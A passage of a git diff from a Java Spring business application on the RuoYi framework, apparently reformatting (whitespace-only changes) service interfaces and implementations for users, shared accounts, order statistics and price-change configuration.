待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); + + /** + * 查询共享账号数量 + * + * @param bo 查询条件 + * @return 共享账号数量 + */ + Map queryCount(TzSharedAccountBo bo); + + /** + * 批量更新共享账号 + * + * @param list1 共享账号列表 + */ + void updateBatchById(List list1); +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITzUserService.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITzUserService.java index a10502c..3845e01 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITzUserService.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/ITzUserService.java @@ -1,105 +1,105 @@ -package org.dromara.work.service; - -import com.github.yulichang.base.MPJBaseService; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.TzUser; -import org.dromara.work.domain.bo.TzUserBo; -import org.dromara.work.domain.vo.TzUserVo; - -import java.util.Collection; -import java.util.List; - -/** - * 用户Service接口 - * - * @author Lion Li - * @date 2024-07-30 - */ -public interface ITzUserService extends MPJBaseService { - - /** - * 查询用户 - * - * @param userId 主键 - * @return 用户 - */ - TzUserVo queryById(Long userId); - - /** - * 分页查询用户列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 用户分页列表 - */ - TableDataInfo queryPageList(TzUserBo bo, PageQuery pageQuery); - - /** - * 查询符合条件的用户列表 - * - * @param bo 查询条件 - * @return 用户列表 - */ - List queryList(TzUserBo bo); - - /** - * 新增用户 - * - * @param bo 用户 - * @return 是否新增成功 - */ - Boolean insertByBo(TzUserBo bo); - - /** - * 修改用户 - * - * @param bo 用户 - * @return 是否修改成功 - */ - Boolean updateByBo(TzUserBo bo); - - /** - * 校验并批量删除用户信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - Boolean deleteWithValidByIds(Collection ids, Boolean isValid); - - /** - * 开启设计师开关 - * @param userPhone - * @param status - * @return - */ - Boolean queryByUserPhone(String userPhone, Integer status); - - /** - * 提交实名认证 - * - * @param bo 用户认证信息 - * @return 是否提交成功 - */ - Boolean submitAuth(TzUserBo bo); - - /** - * 提交设计师认证 - */ - Boolean submitSjsAuth(TzUserBo bo); - - /** - * 根据手机号查询用户信息 - * - * @param userPhone 手机号 - * @return 用户信息 - */ - TzUserVo queryUserInfoByPhone(String userPhone); - - /** - * 查询用户下单排行榜列表 - */ -// TableDataInfo queryPageListChart(TzUserBo bo, PageQuery pageQuery); - -} +package org.dromara.work.service; + +import com.github.yulichang.base.MPJBaseService; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.TzUser; +import org.dromara.work.domain.bo.TzUserBo; +import org.dromara.work.domain.vo.TzUserVo; + +import java.util.Collection; +import java.util.List; + +/** + * 用户Service接口 + * + * @author Lion Li + * @date 2024-07-30 + */ +public interface ITzUserService extends MPJBaseService { + + /** + * 查询用户 + * + * @param userId 主键 + * @return 用户 + */ + TzUserVo queryById(Long userId); + + /** + * 分页查询用户列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 用户分页列表 + */ + TableDataInfo queryPageList(TzUserBo bo, PageQuery pageQuery); + + /** + * 查询符合条件的用户列表 + * + * @param bo 查询条件 + * @return 用户列表 + */ + List queryList(TzUserBo bo); + + /** + * 新增用户 + * + * @param bo 用户 + * @return 是否新增成功 + */ + Boolean insertByBo(TzUserBo bo); + + /** + * 修改用户 + * + * @param bo 用户 + * @return 是否修改成功 + */ + Boolean updateByBo(TzUserBo bo); + + /** + * 校验并批量删除用户信息 + * + * @param ids 待删除的主键集合 + * @param isValid 是否进行有效性校验 + * @return 是否删除成功 + */ + Boolean deleteWithValidByIds(Collection ids, Boolean isValid); + + /** + * 开启设计师开关 + * @param userPhone + * @param status + * @return + */ + Boolean queryByUserPhone(String userPhone, Integer status); + + /** + * 提交实名认证 + * + * @param bo 用户认证信息 + * @return 是否提交成功 + */ + Boolean submitAuth(TzUserBo bo); + + /** + * 提交设计师认证 + */ + Boolean submitSjsAuth(TzUserBo bo); + + /** + * 根据手机号查询用户信息 + * + * @param userPhone 手机号 + * @return 用户信息 + */ + TzUserVo queryUserInfoByPhone(String userPhone); + + /** + * 查询用户下单排行榜列表 + */ +// TableDataInfo queryPageListChart(TzUserBo bo, PageQuery pageQuery); + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/OrderServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/OrderServiceImpl.java index f2b85df..90549fe 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/OrderServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/OrderServiceImpl.java @@ -1,327 +1,327 @@ -package org.dromara.work.service.impl; - -import cn.hutool.core.date.DatePattern; -import cn.hutool.core.date.DateTime; -import cn.hutool.core.date.DateUtil; -import cn.hutool.core.date.Month; -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.github.yulichang.base.MPJBaseServiceImpl; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.system.domain.SysDept; -import org.dromara.system.domain.SysUser; -import org.dromara.system.domain.bo.SysDeptBo; -import org.dromara.system.domain.bo.SysUserBo; -import org.dromara.system.domain.vo.SysDeptVo; -import org.dromara.system.mapper.SysDeptMapper; -import org.dromara.system.mapper.SysUserMapper; -import org.dromara.work.domain.TpClientStaff; -import org.dromara.work.domain.TpOrder; -import org.dromara.work.domain.bo.OrderRankingBo; -import org.dromara.work.domain.vo.DeptRankingVo; -import org.dromara.work.domain.vo.OrderDayListVo; -import org.dromara.work.domain.vo.PerCountVo; -import org.dromara.work.domain.vo.PerSumVo; -import org.dromara.work.mapper.TpClientStaffMapper; -import org.dromara.work.mapper.TpOrderMapper; -import org.dromara.work.service.IOrderService; -import org.springframework.stereotype.Service; -import org.springframework.transaction.annotation.Propagation; -import org.springframework.transaction.annotation.Transactional; - -import java.util.ArrayList; -import java.util.Date; -import java.util.List; -import java.util.stream.Collectors; - -@RequiredArgsConstructor -@Service -public class OrderServiceImpl extends MPJBaseServiceImpl implements IOrderService { - - private final TpOrderMapper baseMapper; - - private final SysDeptMapper deptMapper; - - private final TpClientStaffMapper clientStaffMapper; - - private final SysUserMapper sysUserMapper; - - /** - * 部门排行榜(客服) - * - * @param bo - * @return - */ - @Override - public List deptRankingList(SysDeptBo bo) { -// DateTime dateTime = new DateTime(bo.getMonth(), DatePattern.NORM_MONTH_FORMAT); -// Month month1 = dateTime.monthEnum(); -// int lastDay = month1.getLastDay(false); -// bo.setStartTime(bo.getMonth() + "-01 00:00:00"); -// bo.setEndTime(bo.getMonth() + "-" + lastDay + " 23:59:59"); - - List list = deptMapper.selectVoList(new LambdaQueryWrapper().eq(SysDept::getParentId, bo.getDeptId())); - for (SysDeptVo dept : list){ - boolean exist = deptMapper.exists(new LambdaQueryWrapper().eq(SysDept::getParentId, dept.getDeptId())); - if(exist){ - bo.setIsNull(1); - break; - }else { - bo.setIsNull(0); - } - } - return baseMapper.deptRankingList(bo); - } - - @Override - public List deptRankingList1(SysDeptBo bo) { -// DateTime dateTime = new DateTime(bo.getMonth(), DatePattern.NORM_MONTH_FORMAT); -// Month month1 = dateTime.monthEnum(); -// int lastDay = month1.getLastDay(false); -// bo.setStartTime(bo.getMonth() + "-01 00:00:00"); -// bo.setEndTime(bo.getMonth() + "-" + lastDay + " 23:59:59"); - bo.setIsNull(0); - return baseMapper.deptRankingList(bo); - } - - - /** - * 部门排行榜(技术) - * @param bo - * @return - */ - @Override - public List deptRankingJSList(SysDeptBo bo) { -// DateTime dateTime = new DateTime(bo.getMonth(), DatePattern.NORM_MONTH_FORMAT); -// Month month1 = dateTime.monthEnum(); -// int lastDay = month1.getLastDay(false); -// bo.setStartTime(bo.getMonth() + "-01 00:00:00"); -// bo.setEndTime(bo.getMonth() + "-" + lastDay + " 23:59:59"); - - List list = deptMapper.selectVoList(new LambdaQueryWrapper().eq(SysDept::getParentId, bo.getDeptId())); - for (SysDeptVo dept : list){ - boolean exist = deptMapper.exists(new LambdaQueryWrapper().eq(SysDept::getParentId, dept.getDeptId())); - if(exist){ - bo.setIsNull(1); - break; - }else { - bo.setIsNull(0); - } - } - return baseMapper.deptRankingJSList(bo); - } - - @Override - public List deptRankingJSList1(SysDeptBo bo) { -// DateTime dateTime = new DateTime(bo.getMonth(), DatePattern.NORM_MONTH_FORMAT); -// Month month1 = dateTime.monthEnum(); -// int lastDay = month1.getLastDay(false); -// bo.setStartTime(bo.getMonth() + "-01 00:00:00"); -// bo.setEndTime(bo.getMonth() + "-" + lastDay + " 23:59:59"); - bo.setIsNull(0); - return baseMapper.deptRankingJSList(bo); - } - - /** - * 客服日统计 - * - * @param bo - * @param userIds - * @return - */ - @Override - public List kfDayList(OrderRankingBo bo, List userIds) { - return baseMapper.kfDayList(bo, userIds); - } - - /** - * 分图月统计 - * - * @param bo - * @param userIds - * @return - */ - @Override - public List ftDayList(OrderRankingBo bo, List userIds) { - return baseMapper.ftDayList(bo, userIds); - } - - /** - * 技术月统计 - * - * @param bo - * @param userIds - * @return - */ - @Override - public List jsDayList(OrderRankingBo bo, List userIds) { - return baseMapper.jsDayList(bo, userIds); - } - - - /** - * 业绩按月统计 - * - * @param month - * @param deptId - * @return - */ - @Override - public List monthArrivedPer(String month, Long deptId) { - List deptIds = null; - if(deptId != null){ - deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, deptId)).stream().map(SysDept::getDeptId).collect(Collectors.toList()); - deptIds.add(deptId); - } - return baseMapper.monthArrivedPer(month,deptIds); - } - - /** - * 业绩按年统计 - * - * @param year - * @param deptId - * @return - */ - @Override - public List yearArrivedPer(String year, Long deptId) { - List deptIds = null; - if(deptId != null){ - deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, deptId)).stream().map(SysDept::getDeptId).collect(Collectors.toList()); - deptIds.add(deptId); - } - return baseMapper.yearArrivedPer(year,deptIds); - } - - /** - * 订单类型统计 - * - * @param month - * @param deptId - * @return - */ - @Override - public List monthOrderType(String month, Long deptId) { - List deptIds = null; - if(deptId != null){ - deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, deptId)).stream().map(SysDept::getDeptId).collect(Collectors.toList()); - deptIds.add(deptId); - } - return baseMapper.monthOrderType(month,deptIds); - } - - /** - * 订单空间统计 - * - * @param month - * @param deptId - * @return - */ - @Override - public List monthOrderSpace(String month, Long deptId) { - List deptIds = null; - if(deptId != null){ - deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, deptId)).stream().map(SysDept::getDeptId).collect(Collectors.toList()); - deptIds.add(deptId); - } - return baseMapper.monthOrderSpace(month,deptIds); - } - - /** - * 订单风格统计 - * - * @param month - * @param deptId - * @return - */ - @Override - public List monthOrderStyle(String month, Long deptId) { - List deptIds = null; - if(deptId != null){ - deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, deptId)).stream().map(SysDept::getDeptId).collect(Collectors.toList()); - deptIds.add(deptId); - } - return baseMapper.monthOrderStyle(month,deptIds); - } - - /** - * 新老客户占比 - * - * @param month - * @param deptId - * @return - */ - @Override - public List newOldOrderPer(String month, Long deptId) { - String startDay = ""; - String endDay = ""; - if (StringUtils.isEmpty(month)){ - month = DateUtil.format(new Date(), "yyyy-MM"); - DateTime dateTime = new DateTime(month, DatePattern.NORM_MONTH_FORMAT); - Month month1 = dateTime.monthEnum(); - int lastDay = month1.getLastDay(false); - startDay = month + "-01 00:00:00"; - endDay = month + "-" + lastDay + " 23:59:59"; - - }else{ - DateTime dateTime = new DateTime(month, DatePattern.NORM_MONTH_FORMAT); - Month month1 = dateTime.monthEnum(); - int lastDay = month1.getLastDay(false); - startDay = month + "-01 00:00:00"; - endDay = month + "-" + lastDay + " 23:59:59"; - } - List deptIds = null; - List userIds = null; - if(deptId != null){ - deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, deptId)).stream().map(SysDept::getDeptId).collect(Collectors.toList()); - deptIds.add(deptId); - userIds = sysUserMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, deptIds)).stream().map(SysUser::getUserId).collect(Collectors.toList()); - } - Long newCount = clientStaffMapper.selectCount(new LambdaQueryWrapper().between(TpClientStaff::getAddTime, startDay, endDay).in(userIds != null, TpClientStaff::getSid,userIds)); - Long oldCount = clientStaffMapper.selectCount(new LambdaQueryWrapper().between(TpClientStaff::getAddTime, "2023-04-01 00:00:01", startDay).in(userIds != null,TpClientStaff::getSid,userIds)); - - List list = new ArrayList<>(); - PerCountVo newPer = new PerCountVo(); - newPer.setType("新用户"); - newPer.setCount(newCount); - - PerCountVo oldPer = new PerCountVo(); - oldPer.setType("老用户"); - oldPer.setCount(oldCount); - - list.add(newPer); - list.add(oldPer); - return list; - } - - /** - * @param sysUserBo - * @return - */ - @Override - @Transactional(rollbackFor = Exception.class) - public Boolean updateOrder(SysUserBo sysUserBo) { - SysDept dept = deptMapper.selectById(sysUserBo.getDeptId()); - SysUser user = sysUserMapper.selectById(sysUserBo.getUserId()); - user.setDeptId(dept.getDeptId()); - sysUserMapper.updateById(user); - - if(sysUserBo.getIdentity() == 2){ - return baseMapper.update(null, - Wrappers.lambdaUpdate() - .set(TpOrder::getDeptIdJs, dept.getDeptId()) - .set(TpOrder::getAncestorsJs,dept.getAncestors()) - .eq(TpOrder::getBid, sysUserBo.getUserId()) - .eq(TpOrder::getIsDel, 1)) > 0; - }else if(sysUserBo.getIdentity() == 3){ - return baseMapper.update(null, - Wrappers.lambdaUpdate() - .set(TpOrder::getDeptId, dept.getDeptId()) - .set(TpOrder::getAncestors,dept.getAncestors()) - .eq(TpOrder::getSid, sysUserBo.getUserId()) - .eq(TpOrder::getIsDel, 1)) > 0; - } - return false; - } -} +package org.dromara.work.service.impl; + +import cn.hutool.core.date.DatePattern; +import cn.hutool.core.date.DateTime; +import cn.hutool.core.date.DateUtil; +import cn.hutool.core.date.Month; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.github.yulichang.base.MPJBaseServiceImpl; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.system.domain.SysDept; +import org.dromara.system.domain.SysUser; +import org.dromara.system.domain.bo.SysDeptBo; +import org.dromara.system.domain.bo.SysUserBo; +import org.dromara.system.domain.vo.SysDeptVo; +import org.dromara.system.mapper.SysDeptMapper; +import org.dromara.system.mapper.SysUserMapper; +import org.dromara.work.domain.TpClientStaff; +import org.dromara.work.domain.TpOrder; +import org.dromara.work.domain.bo.OrderRankingBo; +import org.dromara.work.domain.vo.DeptRankingVo; +import org.dromara.work.domain.vo.OrderDayListVo; +import org.dromara.work.domain.vo.PerCountVo; +import org.dromara.work.domain.vo.PerSumVo; +import org.dromara.work.mapper.TpClientStaffMapper; +import org.dromara.work.mapper.TpOrderMapper; +import org.dromara.work.service.IOrderService; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Propagation; +import org.springframework.transaction.annotation.Transactional; + +import java.util.ArrayList; +import java.util.Date; +import java.util.List; +import java.util.stream.Collectors; + +@RequiredArgsConstructor +@Service +public class OrderServiceImpl extends MPJBaseServiceImpl implements IOrderService { + + private final TpOrderMapper baseMapper; + + private final SysDeptMapper deptMapper; + + private final TpClientStaffMapper clientStaffMapper; + + private final SysUserMapper sysUserMapper; + + /** + * 部门排行榜(客服) + * + * @param bo + * @return + */ + @Override + public List deptRankingList(SysDeptBo bo) { +// DateTime dateTime = new DateTime(bo.getMonth(), DatePattern.NORM_MONTH_FORMAT); +// Month month1 = dateTime.monthEnum(); +// int lastDay = month1.getLastDay(false); +// bo.setStartTime(bo.getMonth() + "-01 00:00:00"); +// bo.setEndTime(bo.getMonth() + "-" + lastDay + " 23:59:59"); + + List list = deptMapper.selectVoList(new LambdaQueryWrapper().eq(SysDept::getParentId, bo.getDeptId())); + for (SysDeptVo dept : list){ + boolean exist = deptMapper.exists(new LambdaQueryWrapper().eq(SysDept::getParentId, dept.getDeptId())); + if(exist){ + bo.setIsNull(1); + break; + }else { + bo.setIsNull(0); + } + } + return baseMapper.deptRankingList(bo); + } + + @Override + public List deptRankingList1(SysDeptBo bo) { +// DateTime dateTime = new DateTime(bo.getMonth(), DatePattern.NORM_MONTH_FORMAT); +// Month month1 = dateTime.monthEnum(); +// int lastDay = month1.getLastDay(false); +// bo.setStartTime(bo.getMonth() + "-01 00:00:00"); +// bo.setEndTime(bo.getMonth() + "-" + lastDay + " 23:59:59"); + bo.setIsNull(0); + return baseMapper.deptRankingList(bo); + } + + + /** + * 部门排行榜(技术) + * @param bo + * @return + */ + @Override + public List deptRankingJSList(SysDeptBo bo) { +// DateTime dateTime = new DateTime(bo.getMonth(), DatePattern.NORM_MONTH_FORMAT); +// Month month1 = dateTime.monthEnum(); +// int lastDay = month1.getLastDay(false); +// bo.setStartTime(bo.getMonth() + "-01 00:00:00"); +// bo.setEndTime(bo.getMonth() + "-" + lastDay + " 23:59:59"); + + List list = deptMapper.selectVoList(new LambdaQueryWrapper().eq(SysDept::getParentId, bo.getDeptId())); + for (SysDeptVo dept : list){ + boolean exist = deptMapper.exists(new LambdaQueryWrapper().eq(SysDept::getParentId, dept.getDeptId())); + if(exist){ + bo.setIsNull(1); + break; + }else { + bo.setIsNull(0); + } + } + return baseMapper.deptRankingJSList(bo); + } + + @Override + public List deptRankingJSList1(SysDeptBo bo) { +// DateTime dateTime = new DateTime(bo.getMonth(), DatePattern.NORM_MONTH_FORMAT); +// Month month1 = dateTime.monthEnum(); +// int lastDay = month1.getLastDay(false); +// bo.setStartTime(bo.getMonth() + "-01 00:00:00"); +// bo.setEndTime(bo.getMonth() + "-" + lastDay + " 23:59:59"); + bo.setIsNull(0); + return baseMapper.deptRankingJSList(bo); + } + + /** + * 客服日统计 + * + * @param bo + * @param userIds + * @return + */ + @Override + public List kfDayList(OrderRankingBo bo, List userIds) { + return baseMapper.kfDayList(bo, userIds); + } + + /** + * 分图月统计 + * + * @param bo + * @param userIds + * @return + */ + @Override + public List ftDayList(OrderRankingBo bo, List userIds) { + return baseMapper.ftDayList(bo, userIds); + } + + /** + * 技术月统计 + * + * @param bo + * @param userIds + * @return + */ + @Override + public List jsDayList(OrderRankingBo bo, List userIds) { + return baseMapper.jsDayList(bo, userIds); + } + + + /** + * 业绩按月统计 + * + * @param month + * @param deptId + * @return + */ + @Override + public List monthArrivedPer(String month, Long deptId) { + List deptIds = null; + if(deptId != null){ + deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, deptId)).stream().map(SysDept::getDeptId).collect(Collectors.toList()); + deptIds.add(deptId); + } + return baseMapper.monthArrivedPer(month,deptIds); + } + + /** + * 业绩按年统计 + * + * @param year + * @param deptId + * @return + */ + @Override + public List yearArrivedPer(String year, Long deptId) { + List deptIds = null; + if(deptId != null){ + deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, deptId)).stream().map(SysDept::getDeptId).collect(Collectors.toList()); + deptIds.add(deptId); + } + return baseMapper.yearArrivedPer(year,deptIds); + } + + /** + * 订单类型统计 + * + * @param month + * @param deptId + * @return + */ + @Override + public List monthOrderType(String month, Long deptId) { + List deptIds = null; + if(deptId != null){ + deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, deptId)).stream().map(SysDept::getDeptId).collect(Collectors.toList()); + deptIds.add(deptId); + } + return baseMapper.monthOrderType(month,deptIds); + } + + /** + * 订单空间统计 + * + * @param month + * @param deptId + * @return + */ + @Override + public List monthOrderSpace(String month, Long deptId) { + List deptIds = null; + if(deptId != null){ + deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, deptId)).stream().map(SysDept::getDeptId).collect(Collectors.toList()); + deptIds.add(deptId); + } + return baseMapper.monthOrderSpace(month,deptIds); + } + + /** + * 订单风格统计 + * + * @param month + * @param deptId + * @return + */ + @Override + public List monthOrderStyle(String month, Long deptId) { + List deptIds = null; + if(deptId != null){ + deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, deptId)).stream().map(SysDept::getDeptId).collect(Collectors.toList()); + deptIds.add(deptId); + } + return baseMapper.monthOrderStyle(month,deptIds); + } + + /** + * 新老客户占比 + * + * @param month + * @param deptId + * @return + */ + @Override + public List newOldOrderPer(String month, Long deptId) { + String startDay = ""; + String endDay = ""; + if (StringUtils.isEmpty(month)){ + month = DateUtil.format(new Date(), "yyyy-MM"); + DateTime dateTime = new DateTime(month, DatePattern.NORM_MONTH_FORMAT); + Month month1 = dateTime.monthEnum(); + int lastDay = month1.getLastDay(false); + startDay = month + "-01 00:00:00"; + endDay = month + "-" + lastDay + " 23:59:59"; + + }else{ + DateTime dateTime = new DateTime(month, DatePattern.NORM_MONTH_FORMAT); + Month month1 = dateTime.monthEnum(); + int lastDay = month1.getLastDay(false); + startDay = month + "-01 00:00:00"; + endDay = month + "-" + lastDay + " 23:59:59"; + } + List deptIds = null; + List userIds = null; + if(deptId != null){ + deptIds = deptMapper.selectList(new LambdaQueryWrapper().like(SysDept::getAncestors, deptId)).stream().map(SysDept::getDeptId).collect(Collectors.toList()); + deptIds.add(deptId); + userIds = sysUserMapper.selectList(new LambdaQueryWrapper().in(SysUser::getDeptId, deptIds)).stream().map(SysUser::getUserId).collect(Collectors.toList()); + } + Long newCount = clientStaffMapper.selectCount(new LambdaQueryWrapper().between(TpClientStaff::getAddTime, startDay, endDay).in(userIds != null, TpClientStaff::getSid,userIds)); + Long oldCount = clientStaffMapper.selectCount(new LambdaQueryWrapper().between(TpClientStaff::getAddTime, "2023-04-01 00:00:01", startDay).in(userIds != null,TpClientStaff::getSid,userIds)); + + List list = new ArrayList<>(); + PerCountVo newPer = new PerCountVo(); + newPer.setType("新用户"); + newPer.setCount(newCount); + + PerCountVo oldPer = new PerCountVo(); + oldPer.setType("老用户"); + oldPer.setCount(oldCount); + + list.add(newPer); + list.add(oldPer); + return list; + } + + /** + * @param sysUserBo + * @return + */ + @Override + @Transactional(rollbackFor = Exception.class) + public Boolean updateOrder(SysUserBo sysUserBo) { + SysDept dept = deptMapper.selectById(sysUserBo.getDeptId()); + SysUser user = sysUserMapper.selectById(sysUserBo.getUserId()); + user.setDeptId(dept.getDeptId()); + sysUserMapper.updateById(user); + + if(sysUserBo.getIdentity() == 2){ + return baseMapper.update(null, + Wrappers.lambdaUpdate() + .set(TpOrder::getDeptIdJs, dept.getDeptId()) + .set(TpOrder::getAncestorsJs,dept.getAncestors()) + .eq(TpOrder::getBid, sysUserBo.getUserId()) + .eq(TpOrder::getIsDel, 1)) > 0; + }else if(sysUserBo.getIdentity() == 3){ + return baseMapper.update(null, + Wrappers.lambdaUpdate() + .set(TpOrder::getDeptId, dept.getDeptId()) + .set(TpOrder::getAncestors,dept.getAncestors()) + .eq(TpOrder::getSid, sysUserBo.getUserId()) + .eq(TpOrder::getIsDel, 1)) > 0; + } + return false; + } +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpChangePriceServiceImpl.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpChangePriceServiceImpl.java index d3cccbc..c4e4924 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpChangePriceServiceImpl.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/service/impl/TpChangePriceServiceImpl.java @@ -1,132 +1,132 @@ -package org.dromara.work.service.impl; - -import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Wrappers; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.utils.MapstructUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.work.domain.TpChangePrice; -import org.dromara.work.domain.bo.TpChangePriceBo; -import org.dromara.work.domain.vo.TpChangePriceVo; -import org.dromara.work.mapper.TpChangePriceMapper; -import org.dromara.work.service.ITpChangePriceService; -import org.springframework.stereotype.Service; - -import java.util.Collection; -import java.util.List; -import java.util.Map; - -/** - * 改价配置Service业务层处理 - * - * @author Maosw - * @date 2024-08-12 - */ -@RequiredArgsConstructor -@Service -public class TpChangePriceServiceImpl implements ITpChangePriceService { - - private final TpChangePriceMapper baseMapper; - - /** - * 查询改价配置 - * - * @param id 主键 - * @return 改价配置 - */ - @Override - public TpChangePriceVo queryById(Long id){ - return baseMapper.selectVoById(id); - } - - /** - * 分页查询改价配置列表 - * - * @param bo 查询条件 - * @param pageQuery 分页参数 - * @return 改价配置分页列表 - */ - @Override - public TableDataInfo queryPageList(TpChangePriceBo bo, PageQuery pageQuery) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); - return TableDataInfo.build(result); - } - - /** - * 查询符合条件的改价配置列表 - * - * @param bo 查询条件 - * @return 改价配置列表 - */ - @Override - public List queryList(TpChangePriceBo bo) { - LambdaQueryWrapper lqw = buildQueryWrapper(bo); - return baseMapper.selectVoList(lqw); - } - - private LambdaQueryWrapper buildQueryWrapper(TpChangePriceBo bo) { - Map params = bo.getParams(); - LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); - lqw.eq(StringUtils.isNotBlank(bo.getSid()), TpChangePrice::getSid, bo.getSid()); - lqw.eq(bo.getPrice() != null, TpChangePrice::getPrice, bo.getPrice()); - lqw.eq(bo.getState() != null, TpChangePrice::getState, bo.getState()); - lqw.eq(bo.getAddTime() != null, TpChangePrice::getAddTime, bo.getAddTime()); - return lqw; - } - - /** - * 新增改价配置 - * - * @param bo 改价配置 - * @return 是否新增成功 - */ - @Override - public Boolean insertByBo(TpChangePriceBo bo) { - TpChangePrice add = MapstructUtils.convert(bo, TpChangePrice.class); - validEntityBeforeSave(add); - boolean flag = baseMapper.insert(add) > 0; - if (flag) { - bo.setId(add.getId()); - } - return flag; - } - - /** - * 修改改价配置 - * - * @param bo 改价配置 - * @return 是否修改成功 - */ - @Override - public Boolean updateByBo(TpChangePriceBo bo) { - TpChangePrice update = MapstructUtils.convert(bo, TpChangePrice.class); - validEntityBeforeSave(update); - return baseMapper.updateById(update) > 0; - } - - /** - * 保存前的数据校验 - */ - private void validEntityBeforeSave(TpChangePrice entity){ - //TODO 做一些数据校验,如唯一约束 - } - - /** - * 校验并批量删除改价配置信息 - * - * @param ids 待删除的主键集合 - * @param isValid 是否进行有效性校验 - * @return 是否删除成功 - */ - @Override - public Boolean deleteWithValidByIds(Collection ids, Boolean isValid) { - if(isValid){ - //TODO 做一些业务上的校验,判断是否需要校验 - } - return baseMapper.deleteByIds(ids) > 0; - } -} +package org.dromara.work.service.impl; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Wrappers; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.utils.MapstructUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.work.domain.TpChangePrice; +import org.dromara.work.domain.bo.TpChangePriceBo; +import org.dromara.work.domain.vo.TpChangePriceVo; +import org.dromara.work.mapper.TpChangePriceMapper; +import org.dromara.work.service.ITpChangePriceService; +import org.springframework.stereotype.Service; + +import java.util.Collection; +import java.util.List; +import java.util.Map; + +/** + * 改价配置Service业务层处理 + * + * @author Maosw + * @date 2024-08-12 + */ +@RequiredArgsConstructor +@Service +public class TpChangePriceServiceImpl implements ITpChangePriceService { + + private final TpChangePriceMapper baseMapper; + + /** + * 查询改价配置 + * + * @param id 主键 + * @return 改价配置 + */ + @Override + public TpChangePriceVo queryById(Long id){ + return baseMapper.selectVoById(id); + } + + /** + * 分页查询改价配置列表 + * + * @param bo 查询条件 + * @param pageQuery 分页参数 + * @return 改价配置分页列表 + */ + @Override + public TableDataInfo queryPageList(TpChangePriceBo bo, PageQuery pageQuery) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + Page result = baseMapper.selectVoPage(pageQuery.build(), lqw); + return TableDataInfo.build(result); + } + + /** + * 查询符合条件的改价配置列表 + * + * @param bo 查询条件 + * @return 改价配置列表 + */ + @Override + public List queryList(TpChangePriceBo bo) { + LambdaQueryWrapper lqw = buildQueryWrapper(bo); + return baseMapper.selectVoList(lqw); + } + + private LambdaQueryWrapper buildQueryWrapper(TpChangePriceBo bo) { + Map params = bo.getParams(); + LambdaQueryWrapper lqw = Wrappers.lambdaQuery(); + lqw.eq(StringUtils.isNotBlank(bo.getSid()), TpChangePrice::getSid, bo.getSid()); + lqw.eq(bo.getPrice() != null, TpChangePrice::getPrice, bo.getPrice()); + lqw.eq(bo.getState() != null, TpChangePrice::getState, bo.getState()); + lqw.eq(bo.getAddTime() != null, TpChangePrice::getAddTime, bo.getAddTime()); + return lqw; + } + + /** + * 新增改价配置 + * + * @param bo 改价配置 + * @return 是否新增成功 + 